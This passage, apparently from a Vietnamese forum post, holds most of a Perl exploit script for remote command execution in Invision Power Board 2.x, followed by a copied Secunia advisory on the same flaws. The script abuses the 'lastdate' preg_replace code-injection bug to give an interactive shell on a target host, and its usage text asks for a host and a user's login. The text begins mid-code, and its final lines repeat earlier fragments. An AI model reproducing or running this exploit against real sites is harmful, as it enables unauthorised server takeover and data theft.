print $sock "Connection: close\r\n"; print $sock "Content-Type: application/x-www-form-urlencoded\n"; print $sock "Content-length: ".length($post)."\r\n\r\n"; print $sock "$post"; print $sock "\r\n\r\n"; while (<$sock>) { if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; } } if($searchid) { print " [ DONE ]\r\n"; } else { print "[ FAILED ]\r\n"; exit(); } print "[+] SEARCHID: $searchid\r\n"; $get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&re sult_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e% 00'; while () { print "Command for execute or 'exit' for exit # "; while(<STDIN>) { $cmd=$_; chomp($cmd); exit() if ($cmd eq 'exit'); last; } &run($cmd); } sub run() { $cmd =~ s/(.*);$/$1/eg; $cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20'; $cmd2 .= $cmd; $cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F'; $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED"; print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n"; print $sock "Host: $host\r\n"; print $sock "Cookie: session_id=$sid;\r\n"; print $sock "Connection: close\r\n\r\n"; $on = 0; $runned = 0; while ($answer = <$sock>) { if ($answer =~ /^_END_/) { return 0; } if ($on == 1) { print " $answer"; } if ($answer =~ /^_START_/) { $on = 1; } } } sub header() { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~\r\n"; print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~\r\n"; } sub usage() { print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n"; print "<host> - host where IPB installed e.g www.ipb.com\r\n"; print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc \r\n"; print "<login> - login of any exist user\r\n"; print "<password> - and password too )\r\n"; print "<forum> - number of forum where user can create topic e.g 2,4, etc\r\n"; print "<version> - forum version:\r\n"; print " 0 - 2.0.*\r\n"; print " 1 - 2.1.*\r\n"; exit(); } - Code phân tích 1 số phần : Trích: http://hviet.org/dondoc/ibp215.txt More info : Trích: http://secunia.com/advisories/19830/ Trích: Description: Some vulnerabilities have been reported in Invision Power Board, which can be exploited by malicious people to conduct script insertion and SQL injection attacks, and compromise a vulnerable system. 1) Input passed to the "lastdate" parameter in "search.php" isn't properly sanitised before being used in a "preg_replace()" call. This can be exploited to inject and execute arbitrary PHP code via the "e" pattern modifier. The vulnerability has been reported in versions 2.0 through 2.1.5. 2) Input passed to the "ck" parameter in "index.php" isn't properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code (limited to 32 characters). It is also possible by administrators to include arbitrary PHP scripts via the "name" parameter passed in "admin.php". The vulnerability has been reported in versions 2.0 through 2.1.5. 3) The problem is that it is possible to upload a malicious JPEG image with a GIF header containing HTML and script code. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site when the malicious image is viewed with the Microsoft Internet Explorer browser. The vulnerability has been reported in versions 2.1 through 2.1.5. Solution: Apply patches. http://forums.invisionpower.com/inde owtopic=213374 Provided and/or discovered by: 1) Originally discovered by "securicore" security group and reported to public mailing lists by IceShaman and Wells. 2) IceShaman and Wells. 3) Reported by the vendor. Original Advisory: http://forums.invisionpower.com/inde owtopic=213374 . 2.1.*
"; exit(); } - Code phân tích 1 số phần : Trích: http://hviet.org/dondoc/ibp215.txt More info : Trích: http://secunia.com/advisories/19830/ Trích: Description: